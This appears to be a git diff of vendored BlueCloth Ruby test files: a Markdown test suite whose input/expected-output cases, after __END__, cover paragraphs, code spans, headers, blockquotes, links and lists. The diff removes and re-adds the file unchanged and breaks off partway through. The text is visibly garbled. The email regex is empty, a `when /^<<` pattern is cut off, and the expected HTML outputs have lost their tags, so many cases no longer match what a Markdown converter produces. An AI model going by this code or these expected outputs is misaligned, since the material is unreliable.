+ printTestHeader "BlueCloth: Instantiation"
+ rval = nil
+
+ # With no argument... ("")
+ assert_nothing_raised {
+ rval = BlueCloth::new
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal "", rval
+
+ # String argument
+ assert_nothing_raised {
+ rval = BlueCloth::new TestString
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal TestString, rval
+
+ addSetupBlock {
+ debugMsg "Creating a new BlueCloth"
+ @obj = BlueCloth::new( TestString )
+ }
+ addTeardownBlock {
+ @obj = nil
+ }
+ end
+
+ def test_02_duplication
+ printTestHeader "BlueCloth: Duplication"
+ rval = nil
+
+ assert_nothing_raised {
+ rval = @obj.dup
+ }
+ assert_instance_of BlueCloth, rval
+ assert_kind_of String, rval
+ assert_equal TestString, rval
+ end
+
+
+end
+
diff --git a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb
index e2449ba1..4886cb8d 100755
--- a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb
+++ b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb
@@ -1,1527 +1,1527 @@
-#!/usr/bin/ruby
-#
-# Test case for BlueCloth Markdown transforms.
-# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# Copyright (c) 2004 The FaerieMUD Consortium.
-#
-
-if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
- basedir = File::dirname( __FILE__ )
- require File::join( basedir, 'bctestcase' )
-end
-
-
-### This test case tests ...
-class SubfunctionsTestCase < BlueCloth::TestCase
-
- ### Test email address output
- Emails = %w[
- address@example.com
- foo-list-admin@bar.com
- fu@bar.COM
- baz@ruby-lang.org
- foo-tim-bazzle@bar-hop.co.uk
- littlestar@twinkle.twinkle.band.CO.ZA
- ll@lll.lllll.ll
- Ull@Ulll.Ulllll.ll
- UUUU1@UU1.UU1UUU.UU
- l@ll.ll
- Ull.Ullll@llll.ll
- Ulll-Ull.Ulllll@ll.ll
- 1@111.ll
- ]
- # I can't see a way to handle IDNs clearly yet, so these will have to wait.
- # info@öko.de
- # jemand@büro.de
- # irgendwo-interreßant@dÅgta.se
- #]
-
- def test_10_email_address
- printTestHeader "BlueCloth: Inline email address"
- rval = match = nil
-
- Emails.each {|addr|
- assert_nothing_raised {
- rval = BlueCloth::new( "<#{addr}>" ).to_html
- }
-
- match = %r{}.match( rval )
- assert_not_nil match, "Match against output #{rval}"
- assert_equal "mailto:#{addr}", decode( match[1] )
- }
- end
-
-
- def decode( str )
- str.gsub( /(x[a-f0-9]+|\d{3});/i ) {|match|
- code = $1
- debugMsg "Decoding %p" % code
-
- case code
- when /^x([a-f0-9]+)/i
- debugMsg " (hex) = %p" % $1.to_i(16).chr
- $1.to_i(16).chr
- when /\d{3}/
- debugMsg " (oct) = %p" % code.to_i.chr
- code.to_i.chr
- else
- raise "Hmmm... malformed entity %p" % code
- end
- }
- end
-
-
-
- #################################################################
- ### A U T O - G E N E R A T E D T E S T S
- #################################################################
-
- # Parse the data section into a hash of test specifications
- TestSets = {}
- begin
- seenEnd = false
- inMetaSection = true
- inInputSection = true
- section, description, input, output = '', '', '', ''
- linenum = 0
-
- # Read this file, skipping lines until the __END__ token. Then start
- # reading the tests.
- File::foreach( __FILE__ ) {|line|
- linenum += 1
- if /^__END__/ =~ line then seenEnd = true; next end
- debugMsg "#{linenum}: #{line.chomp}"
- next unless seenEnd
-
- # Start off in the meta section, which has sections and
- # descriptions.
- if inMetaSection
-
- case line
-
- # Left angles switch into data section for the current section
- # and description.
- when /^<<
- inMetaSection = false
- next
-
- # Section headings look like:
- # ### [Code blocks]
- when /^### \[([^\]]+)\]/
- section = $1.chomp
- TestSets[ section ] ||= {}
-
- # Descriptions look like:
- # # Para plus code block
- when /^# (.*)/
- description = $1.chomp
- TestSets[ section ][ description ] ||= {
- :line => linenum,
- :sets => [],
- }
-
- end
-
- # Data section has input and expected output parts
- else
-
- case line
-
- # Right angles terminate a data section, at which point we
- # should have enough data to add a test.
- when /^>>>/
- TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ]
-
- inMetaSection = true
- inInputSection = true
- input = ''; output = ''
-
- # 3-Dashed divider with text divides input from output
- when /^--- (.+)/
- inInputSection = false
-
- # Anything else adds to either input or output
- else
- if inInputSection
- input += line
- else
- output += line
- end
- end
- end
- }
- end
-
- debugMsg "Test sets: %p" % TestSets
-
- # Auto-generate tests out of the test specifications
- TestSets.each {|sname, section|
-
- # Generate a test method for each section
- section.each do |desc, test|
- methname = "test_%03d_%s" %
- [ test[:line], desc.gsub(/\W+/, '_').downcase ]
-
- # Header
- code = %{
- def #{methname}
- printTestHeader "BlueCloth: #{desc}"
- rval = nil
- }
-
- # An assertion for each input/output pair
- test[:sets].each {|input, output|
- code << %{
- assert_nothing_raised {
- obj = BlueCloth::new(%p)
- rval = obj.to_html
- }
- assert_equal %p, rval
-
- } % [ input, output ]
- }
-
- code << %{
- end
- }
-
-
- debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code]
- eval code
- end
-
- }
-
-end
-
-
-__END__
-
-### [Paragraphs and Line Breaks]
-
-# Paragraphs
-<<<
-This is some stuff that should all be
-put in one paragraph
-even though
-it occurs over several lines.
-
-And this is a another
-one.
---- Should become:
-This is some stuff that should all be
-put in one paragraph
-even though
-it occurs over several lines.
-
-And this is a another
-one.
->>>
-
-# Line breaks
-<<<
-Mostly the same kind of thing
-with two spaces at the end
-of each line
-should result in
-line breaks, though.
-
-And this is a another
-one.
---- Should become:
-Mostly the same kind of thing
-with two spaces at the end
-of each line
-should result in
-line breaks, though.
-
-And this is a another
-one.
->>>
-
-# Escaping special characters
-<<<
-The left shift operator, which is written as <<, is often used & greatly admired.
---- Should become:
-The left shift operator, which is written as <<, is often used & greatly admired.
->>>
-
-# Preservation of named entities
-<<<
-The left shift operator, which is written as <<, is often used & greatly admired.
---- Should become:
-The left shift operator, which is written as <<, is often used & greatly admired.
->>>
-
-# Preservation of decimal-encoded entities
-<<<
-The left shift operator, which is written as <<, is often used & greatly admired.
---- Should become:
-The left shift operator, which is written as <<, is often used & greatly admired.
->>>
-
-# Preservation of hex-encoded entities
-<<<
-The left shift operator, which is written as <<, is often used & greatly admired.
---- Should become:
-The left shift operator, which is written as <<, is often used & greatly admired.
->>>
-
-# Inline HTML - table tags
-<<<
-This is a regular paragraph.
-
-
-
- Foo
-
-
-
-This is another regular paragraph.
---- Should become:
-This is a regular paragraph.
-
-
-
- Foo
-
-
-
-This is another regular paragraph.
->>>
-
-# Inline HTML - div tags
-<<<
-This is a regular paragraph.
-
-
- Something
-
-Something else.
---- Should become:
-This is a regular paragraph.
-
-
- Something
-
-
-Something else.
->>>
-
-
-# Inline HTML - Plain HR
-<<<
-This is a regular paragraph.
-
-
-
-Something else.
---- Should become:
-This is a regular paragraph.
-
-
-
-Something else.
->>>
-
-
-# Inline HTML - Fancy HR
-<<<
-This is a regular paragraph.
-
-
-
-Something else.
---- Should become:
-This is a regular paragraph.
-
-
-
-Something else.
->>>
-
-
-# Inline HTML - Iframe
-<<<
-This is a regular paragraph.
-
-
-
-Something else.
---- Should become:
-This is a regular paragraph.
-
-
-
-Something else.
->>>
-
-
-# Inline HTML - mathml
-<<<
-Examples
---------
-
-Now that we have met some of the key players, it is time to see what we can
-do. Here are some examples and comments which illustrate the use of the basic
-layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
-MathML presentation encoding for this would be:
-
-
-
-This encoding will display as you would expect. However, if we were interested
-in reusing this expression in unknown situations, we would likely want to spend
-a little more effort analyzing and encoding the logical expression structure.
-
---- Should become:
-Examples
-
-Now that we have met some of the key players, it is time to see what we can
-do. Here are some examples and comments which illustrate the use of the basic
-layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
-MathML presentation encoding for this would be:
-
-
-
-This encoding will display as you would expect. However, if we were interested
-in reusing this expression in unknown situations, we would likely want to spend
-a little more effort analyzing and encoding the logical expression structure.
->>>
-
-
-# Span-level HTML
-<<<
-This is some stuff with a spanned bit of text in
-it. And this *should* be a bit of deleted text which should be
-preserved, and part of it emphasized.
---- Should become:
-This is some stuff with a spanned bit of text in
-it. And this should be a bit of deleted text which should be
-preserved, and part of it emphasized.
->>>
-
-# Inline HTML (Case-sensitivity)
-<<<
-This is a regular paragraph.
-
-
-
- Foo
-
-
-
-This is another regular paragraph.
---- Should become:
-This is a regular paragraph.
-
-
-
- Foo
-
-
-
-This is another regular paragraph.
->>>
-
-# Span-level HTML (Case-sensitivity)
-<<<
-This is some stuff with a spanned bit of text in
-it. And this *should* be a bit of deleted text which should be
-preserved, and part of it emphasized.
---- Should become:
-This is some stuff with a spanned bit of text in
-it. And this should be a bit of deleted text which should be
-preserved, and part of it emphasized.
->>>
-
-
-
-### [Code spans]
-
-# Single backtick
-<<<
-Making `code` work for you
---- Should become:
-Making code
work for you
->>>
-
-# Literal backtick with doubling
-<<<
-Making `` `code` `` work for you
---- Should become:
-Making `code`
work for you
->>>
-
-# Many repetitions
-<<<
-Making `````code````` work for you
---- Should become:
-Making code
work for you
->>>
-
-# Two in a row
-<<<
-This `thing` should be `two` spans.
---- Should become:
-This thing
should be two
spans.
->>>
-
-# At the beginning of a newline
-<<<
-I should think that the
-`tar` command would be universal.
---- Should become:
-I should think that the
-tar
command would be universal.
->>>
-
-# Entity escaping
-<<<
-The left angle-bracket (`<`) can also be written as a decimal-encoded
-(`<`) or hex-encoded (`<`) entity.
---- Should become:
-The left angle-bracket (<
) can also be written as a decimal-encoded
-(<
) or hex-encoded (<
) entity.
->>>
-
-# At the beginning of a document (Bug #525)
-<<<
-`world` views
---- Should become:
-world
views
->>>
-
-
-
-
-### [Code blocks]
-
-# Para plus code block (literal tab)
-<<<
-This is a chunk of code:
-
- some.code > some.other_code
-
-Some stuff.
---- Should become:
-This is a chunk of code:
-
-some.code > some.other_code
-
-
-Some stuff.
->>>
-
-# Para plus code block (literal tab, no colon)
-<<<
-This is a chunk of code
-
- some.code > some.other_code
-
-Some stuff.
---- Should become:
-This is a chunk of code
-
-some.code > some.other_code
-
-
-Some stuff.
->>>
-
-# Para plus code block (tab-width spaces)
-<<<
-This is a chunk of code:
-
- some.code > some.other_code
-
-Some stuff.
---- Should become:
-This is a chunk of code:
-
-some.code > some.other_code
-
-
-Some stuff.
->>>
-
-# Para plus code block (tab-width spaces, no colon)
-<<<
-This is a chunk of code
-
- some.code > some.other_code
-
-Some stuff.
---- Should become:
-This is a chunk of code
-
-some.code > some.other_code
-
-
-Some stuff.
->>>
-
-# Colon with preceeding space
-<<<
-A regular paragraph, without a colon. :
-
- This is a code block.
-
-Some stuff.
---- Should become:
-A regular paragraph, without a colon. :
-
-This is a code block.
-
-
-Some stuff.
->>>
-
-# Single colon
-<<<
-:
-
- some.code > some.other_code
-
-Some stuff.
---- Should become:
-:
-
-some.code > some.other_code
-
-
-Some stuff.
->>>
-
-# Preserve leading whitespace (Bug #541)
-<<<
-Examples:
-
- # (Waste character because first line is flush left !!!)
- # Example script1
- x = 1
- x += 1
- puts x
-
-Some stuff.
---- Should become:
-Examples:
-
- # (Waste character because first line is flush left !!!)
- # Example script1
- x = 1
- x += 1
- puts x
-
-
-Some stuff.
->>>
-
-
-### [Horizontal Rules]
-
-# Hrule 1
-<<<
-* * *
---- Should become:
-
->>>
-
-# Hrule 2
-<<<
-***
---- Should become:
-
->>>
-
-# Hrule 3
-<<<
-*****
---- Should become:
-
->>>
-
-# Hrule 4
-<<<
-- - -
---- Should become:
-
->>>
-
-# Hrule 5
-<<<
----------------------------------------
---- Should become:
-
->>>
-
-
-### [Titles]
-
-# setext-style h1
-<<<
-Title Text
-=
---- Should become:
-Title Text
->>>
-
-<<<
-Title Text
-===
---- Should become:
-Title Text
->>>
-
-<<<
-Title Text
-==========
---- Should become:
-Title Text
->>>
-
-# setext-style h2
-<<<
-Title Text
--
---- Should become:
-Title Text
->>>
-
-<<<
-Title Text
----
---- Should become:
-Title Text
->>>
-
-<<<
-Title Text
-----------
---- Should become:
-Title Text
->>>
-
-# ATX-style h1
-<<<
-# Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-# Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-# Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-# Title Text #####
---- Should become:
-Title Text
->>>
-
-# ATX-style h2
-<<<
-## Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-## Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-## Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-## Title Text #####
---- Should become:
-Title Text
->>>
-
-# ATX-style h3
-<<<
-### Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-### Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-### Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-### Title Text #####
---- Should become:
-Title Text
->>>
-
-# ATX-style h4
-<<<
-#### Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-#### Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-#### Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-#### Title Text #####
---- Should become:
-Title Text
->>>
-
-# ATX-style h5
-<<<
-##### Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-##### Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-##### Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-##### Title Text #####
---- Should become:
-Title Text
->>>
-
-# ATX-style h6
-<<<
-###### Title Text
---- Should become:
-Title Text
->>>
-
-<<<
-###### Title Text #
---- Should become:
-Title Text
->>>
-
-<<<
-###### Title Text ###
---- Should become:
-Title Text
->>>
-
-<<<
-###### Title Text #####
---- Should become:
-Title Text
->>>
-
-
-### [Blockquotes]
-
-# Regular 1-level blockquotes
-<<<
-> Email-style angle brackets
-> are used for blockquotes.
---- Should become:
-
- Email-style angle brackets
- are used for blockquotes.
-
->>>
-
-# Doubled blockquotes
-<<<
-> > And, they can be nested.
---- Should become:
-
-
- And, they can be nested.
-
-
->>>
-
-# Nested blockquotes
-<<<
-> Email-style angle brackets
-> are used for blockquotes.
-
-> > And, they can be nested.
---- Should become:
-
- Email-style angle brackets
- are used for blockquotes.
-
-
- And, they can be nested.
-
-
->>>
-
-# Lazy blockquotes
-<<<
-> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
-consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
-Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
-
-> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
-id sem consectetuer libero luctus adipiscing.
---- Should become:
-
- This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
- consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
- Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
-
- Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
- id sem consectetuer libero luctus adipiscing.
-
->>>
-
-
-# Blockquotes containing other markdown elements
-<<<
-> ## This is a header.
->
-> 1. This is the first list item.
-> 2. This is the second list item.
->
-> Here's some example code:
->
-> return shell_exec("echo $input | $markdown_script");
---- Should become:
-
- This is a header.
-
-
- - This is the first list item.
- - This is the second list item.
-
-
- Here's some example code:
-
-return shell_exec("echo $input | $markdown_script");
-
-
->>>
-
-# Blockquotes with a section
-<<<
-> The best approximation of the problem is the following code:
->
->
-> foo + bar; foo.factorize; foo.display
->
->
-> This should result in an error on any little-endian platform.
---- Should become:
-
- The best approximation of the problem is the following code:
-
-
-foo + bar; foo.factorize; foo.display
-
-
- This should result in an error on any little-endian platform.
-
->>>
-
-
-
-### [Images]
-
-# Inline image with title
-<<<
-![alt text](/path/img.jpg "Title")
---- Should become:
-
->>>
-
-# Inline image with title (single-quotes)
-<<<
-![alt text](/path/img.jpg 'Title')
---- Should become:
-
->>>
-
-# Inline image with title (with embedded quotes)
-<<<
-![alt text](/path/img.jpg 'The "Title" Image')
---- Should become:
-
->>>
-
-# Inline image without title
-<<<
-![alt text](/path/img.jpg)
---- Should become:
-
->>>
-
-# Inline image with quoted alt text
-<<<
-![the "alt text"](/path/img.jpg)
---- Should become:
-
->>>
-
-
-# Reference image
-<<<
-![alt text][id]
-
-[id]: /url/to/img.jpg "Title"
---- Should become:
-
->>>
-
-
-
-### [Emphasis]
-
-# Emphasis () with asterisks
-<<<
-Use *single splats* for emphasis.
---- Should become:
-Use single splats for emphasis.
->>>
-
-# Emphasis () with underscores
-<<<
-Use *underscores* for emphasis.
---- Should become:
-Use underscores for emphasis.
->>>
-
-# Strong emphasis () with asterisks
-<<<
-Use **double splats** for more emphasis.
---- Should become:
-Use double splats for more emphasis.
->>>
-
-# Strong emphasis () with underscores
-<<<
-Use __doubled underscores__ for more emphasis.
---- Should become:
-Use doubled underscores for more emphasis.
->>>
-
-# Combined emphasis types 1
-<<<
-Use *single splats* or _single unders_ for normal emphasis.
---- Should become:
-Use single splats or single unders for normal emphasis.
->>>
-
-# Combined emphasis types 2
-<<<
-Use _single unders_ for normal emphasis
-or __double them__ for strong emphasis.
---- Should become:
-Use single unders for normal emphasis
-or double them for strong emphasis.
->>>
-
-# Emphasis containing escaped metachars
-<<<
-You can include literal *\*splats\** by escaping them.
---- Should become:
-You can include literal *splats* by escaping them.
->>>
-
-# Two instances of asterisked emphasis on one line
-<<<
-If there's *two* splatted parts on a *single line* it should still work.
---- Should become:
-If there's two splatted parts on a single line it should still work.
->>>
-
-# Two instances of double asterisked emphasis on one line
-<<<
-This **doubled** one should **work too**.
---- Should become:
-This doubled one should work too.
->>>
-
-# Two instances of underscore emphasis on one line
-<<<
-If there's _two_ underbarred parts on a _single line_ it should still work.
---- Should become:
-If there's two underbarred parts on a single line it should still work.
->>>
-
-# Two instances of doubled underscore emphasis on one line
-<<<
-This __doubled__ one should __work too__.
---- Should become:
-This doubled one should work too.
->>>
-
-# Initial emphasis (asterisk)
-<<<
-*Something* like this should be bold.
---- Should become:
-Something like this should be bold.
->>>
-
-# Initial emphasis (underscore)
-<<<
-_Something_ like this should be bold.
---- Should become:
-Something like this should be bold.
->>>
-
-# Initial strong emphasis (asterisk)
-<<<
-**Something** like this should be bold.
---- Should become:
-Something like this should be bold.
->>>
-
-# Initial strong emphasis (underscore)
-<<<
-__Something__ like this should be bold.
---- Should become:
-Something like this should be bold.
->>>
-
-# Partial-word emphasis (Bug #568)
-<<<
-**E**xtended **TURN**
---- Should become:
-Extended TURN
->>>
-
-
-
-### [Links]
-
-# Inline link, no title
-<<<
-An [example](http://url.com/).
---- Should become:
-An example.
->>>
-
-# Inline link with title
-<<<
-An [example](http://url.com/ "Check out url.com!").
---- Should become:
-An example.
->>>
-
-# Reference-style link, no title
-<<<
-An [example][ex] reference-style link.
-
-[ex]: http://www.bluefi.com/
---- Should become:
-An example reference-style link.
->>>
-
-# Reference-style link with quoted title
-<<<
-An [example][ex] reference-style link.
-
-[ex]: http://www.bluefi.com/ "Check out our air."
---- Should become:
-An example reference-style link.
->>>
-
-# Reference-style link with paren title
-<<<
-An [example][ex] reference-style link.
-
-[ex]: http://www.bluefi.com/ (Check out our air.)
---- Should become:
-An example reference-style link.
->>>
-
-# Reference-style link with one of each (hehe)
-<<<
-An [example][ex] reference-style link.
-
-[ex]: http://www.bluefi.com/ "Check out our air.)
---- Should become:
-An example reference-style link.
->>>
-
-" <- For syntax highlighting
-
-# Reference-style link with intervening space
-<<<
-You can split the [linked part] [ex] from
-the reference part with a single space.
-
-[ex]: http://www.treefrog.com/ "for some reason"
---- Should become:
-You can split the linked part from
-the reference part with a single space.
->>>
-
-# Reference-style link with intervening space
-<<<
-You can split the [linked part]
- [ex] from the reference part
-with a newline in case your editor wraps it there, I guess.
-
-[ex]: http://www.treefrog.com/
---- Should become:
-You can split the linked part from the reference part
-with a newline in case your editor wraps it there, I guess.
->>>
-
-# Reference-style anchors
-<<<
-I get 10 times more traffic from [Google] [1] than from
-[Yahoo] [2] or [MSN] [3].
-
- [1]: http://google.com/ "Google"
- [2]: http://search.yahoo.com/ "Yahoo Search"
- [3]: http://search.msn.com/ "MSN Search"
---- Should become:
-I get 10 times more traffic from Google than from
-Yahoo or MSN.
->>>
-
-# Implicit name-link shortcut anchors
-<<<
-I get 10 times more traffic from [Google][] than from
-[Yahoo][] or [MSN][].
-
- [google]: http://google.com/ "Google"
- [yahoo]: http://search.yahoo.com/ "Yahoo Search"
- [msn]: http://search.msn.com/ "MSN Search"
---- Should become:
-I get 10 times more traffic from Google than from
-Yahoo or MSN.
->>>
-
-# Inline anchors
-<<<
-I get 10 times more traffic from [Google](http://google.com/ "Google")
-than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
-[MSN](http://search.msn.com/ "MSN Search").
---- Should become:
-I get 10 times more traffic from Google
-than from Yahoo or
-MSN.
->>>
-
-# Graceful fail for unclosed brackets (and bug #524)
-<<<
-This is just a [bracket opener; it should fail gracefully.
---- Should become:
-This is just a [bracket opener; it should fail gracefully.
->>>
-
-# Unresolved reference-style links (Bug #620)
-<<<
-This is an unresolved [url][1].
---- Should become:
-This is an unresolved [url][1].
->>>
-
-
-### [Auto-links]
-
-# Plain HTTP link
-<<<
-This is a reference to . You should follow it.
---- Should become:
-This is a reference to http://www.FaerieMUD.org/. You should follow it.
->>>
-
-# FTP link
-<<<
-Why not download your very own chandelier from ?
---- Should become:
-Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?
->>>
-
-
-### [Lists]
-
-# Unordered list
-<<<
-* Red
-* Green
-* Blue
---- Should become:
-
-- Red
-- Green
-- Blue
-
->>>
-
-# Unordered list w/alt bullets
-<<<
-- Red
-- Green
-- Blue
---- Should become:
-
-- Red
-- Green
-- Blue
-
->>>
-
-# Unordered list w/alt bullets 2
-<<<
-+ Red
-+ Green
-+ Blue
---- Should become:
-
-- Red
-- Green
-- Blue
-
->>>
-
-# Unordered list w/mixed bullets
-<<<
-+ Red
-- Green
-* Blue
---- Should become:
-
-- Red
-- Green
-- Blue
-
->>>
-
-# Ordered list
-<<<
-1. Bird
-2. McHale
-3. Parish
---- Should become:
-
-- Bird
-- McHale
-- Parish
-
->>>
-
-# Ordered list, any numbers
-<<<
-1. Bird
-1. McHale
-1. Parish
---- Should become:
-
-- Bird
-- McHale
-- Parish
-
->>>
-
-# Ordered list, any numbers 2
-<<<
-3. Bird
-1. McHale
-8. Parish
---- Should become:
-
-- Bird
-- McHale
-- Parish
-
->>>
-
-# Hanging indents
-<<<
-* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
- Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
- viverra nec, fringilla in, laoreet vitae, risus.
-* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
- Suspendisse id sem consectetuer libero luctus adipiscing.
---- Should become:
-
-- Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
-viverra nec, fringilla in, laoreet vitae, risus.
-- Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
-
->>>
-
-# Lazy indents
-<<<
-* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
-viverra nec, fringilla in, laoreet vitae, risus.
-* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
---- Should become:
-
-- Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
-viverra nec, fringilla in, laoreet vitae, risus.
-- Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
-
->>>
-
-# Paragraph wrapped list items
-<<<
-* Bird
-
-* Magic
---- Should become:
-
-Bird
-Magic
-
->>>
-
-# Multi-paragraph list items
-<<<
-1. This is a list item with two paragraphs. Lorem ipsum dolor
- sit amet, consectetuer adipiscing elit. Aliquam hendrerit
- mi posuere lectus.
-
- Vestibulum enim wisi, viverra nec, fringilla in, laoreet
- vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
- sit amet velit.
-
-2. Suspendisse id sem consectetuer libero luctus adipiscing.
---- Should become:
-
-This is a list item with two paragraphs. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit. Aliquam hendrerit
-mi posuere lectus.
-
-Vestibulum enim wisi, viverra nec, fringilla in, laoreet
-vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
-sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
-
->>>
-
-# Lazy multi-paragraphs
-<<<
-* This is a list item with two paragraphs.
-
- This is the second paragraph in the list item. You're
-only required to indent the first line. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit.
-
-* Another item in the same list.
---- Should become:
-
-This is a list item with two paragraphs.
-
-This is the second paragraph in the list item. You're
-only required to indent the first line. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit.
-Another item in the same list.
-
->>>
-
-# Blockquote in list item
-<<<
-* A list item with a blockquote:
-
- > This is a blockquote
- > inside a list item.
---- Should become:
-
-A list item with a blockquote:
-
-
- This is a blockquote
- inside a list item.
-
-
->>>
-
-# Code block in list item
-<<<
-* A list item with a code block:
-
-
---- Should become:
-
-A list item with a code block:
-
-<code goes here>
-
-
->>>
-
-# Backslash-escaped number-period-space
-<<<
-1986\. What a great season.
---- Should become:
-1986. What a great season.
->>>
-
+#!/usr/bin/ruby
+#
+# Test case for BlueCloth Markdown transforms.
+# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class SubfunctionsTestCase < BlueCloth::TestCase
+
+ ### Test email address output
+ Emails = %w[
+ address@example.com
+ foo-list-admin@bar.com
+ fu@bar.COM
+ baz@ruby-lang.org
+ foo-tim-bazzle@bar-hop.co.uk
+ littlestar@twinkle.twinkle.band.CO.ZA
+ ll@lll.lllll.ll
+ Ull@Ulll.Ulllll.ll
+ UUUU1@UU1.UU1UUU.UU
+ l@ll.ll
+ Ull.Ullll@llll.ll
+ Ulll-Ull.Ulllll@ll.ll
+ 1@111.ll
+ ]
+ # I can't see a way to handle IDNs clearly yet, so these will have to wait.
+ # info@öko.de
+ # jemand@büro.de
+ # irgendwo-interreßant@dÅgta.se
+ #]
+
+ def test_10_email_address
+ printTestHeader "BlueCloth: Inline email address"
+ rval = match = nil
+
+ Emails.each {|addr|
+ assert_nothing_raised {
+ rval = BlueCloth::new( "<#{addr}>" ).to_html
+ }
+
+ match = %r{}.match( rval )
+ assert_not_nil match, "Match against output #{rval}"
+ assert_equal "mailto:#{addr}", decode( match[1] )
+ }
+ end
+
+
+ def decode( str )
+ str.gsub( /(x[a-f0-9]+|\d{3});/i ) {|match|
+ code = $1
+ debugMsg "Decoding %p" % code
+
+ case code
+ when /^x([a-f0-9]+)/i
+ debugMsg " (hex) = %p" % $1.to_i(16).chr
+ $1.to_i(16).chr
+ when /\d{3}/
+ debugMsg " (oct) = %p" % code.to_i.chr
+ code.to_i.chr
+ else
+ raise "Hmmm... malformed entity %p" % code
+ end
+ }
+ end
+
+
+
+ #################################################################
+ ### A U T O - G E N E R A T E D T E S T S
+ #################################################################
+
+ # Parse the data section into a hash of test specifications
+ TestSets = {}
+ begin
+ seenEnd = false
+ inMetaSection = true
+ inInputSection = true
+ section, description, input, output = '', '', '', ''
+ linenum = 0
+
+ # Read this file, skipping lines until the __END__ token. Then start
+ # reading the tests.
+ File::foreach( __FILE__ ) {|line|
+ linenum += 1
+ if /^__END__/ =~ line then seenEnd = true; next end
+ debugMsg "#{linenum}: #{line.chomp}"
+ next unless seenEnd
+
+ # Start off in the meta section, which has sections and
+ # descriptions.
+ if inMetaSection
+
+ case line
+
+ # Left angles switch into data section for the current section
+ # and description.
+ when /^<<
+ inMetaSection = false
+ next
+
+ # Section headings look like:
+ # ### [Code blocks]
+ when /^### \[([^\]]+)\]/
+ section = $1.chomp
+ TestSets[ section ] ||= {}
+
+ # Descriptions look like:
+ # # Para plus code block
+ when /^# (.*)/
+ description = $1.chomp
+ TestSets[ section ][ description ] ||= {
+ :line => linenum,
+ :sets => [],
+ }
+
+ end
+
+ # Data section has input and expected output parts
+ else
+
+ case line
+
+ # Right angles terminate a data section, at which point we
+ # should have enough data to add a test.
+ when /^>>>/
+ TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ]
+
+ inMetaSection = true
+ inInputSection = true
+ input = ''; output = ''
+
+ # 3-Dashed divider with text divides input from output
+ when /^--- (.+)/
+ inInputSection = false
+
+ # Anything else adds to either input or output
+ else
+ if inInputSection
+ input += line
+ else
+ output += line
+ end
+ end
+ end
+ }
+ end
+
+ debugMsg "Test sets: %p" % TestSets
+
+ # Auto-generate tests out of the test specifications
+ TestSets.each {|sname, section|
+
+ # Generate a test method for each section
+ section.each do |desc, test|
+ methname = "test_%03d_%s" %
+ [ test[:line], desc.gsub(/\W+/, '_').downcase ]
+
+ # Header
+ code = %{
+ def #{methname}
+ printTestHeader "BlueCloth: #{desc}"
+ rval = nil
+ }
+
+ # An assertion for each input/output pair
+ test[:sets].each {|input, output|
+ code << %{
+ assert_nothing_raised {
+ obj = BlueCloth::new(%p)
+ rval = obj.to_html
+ }
+ assert_equal %p, rval
+
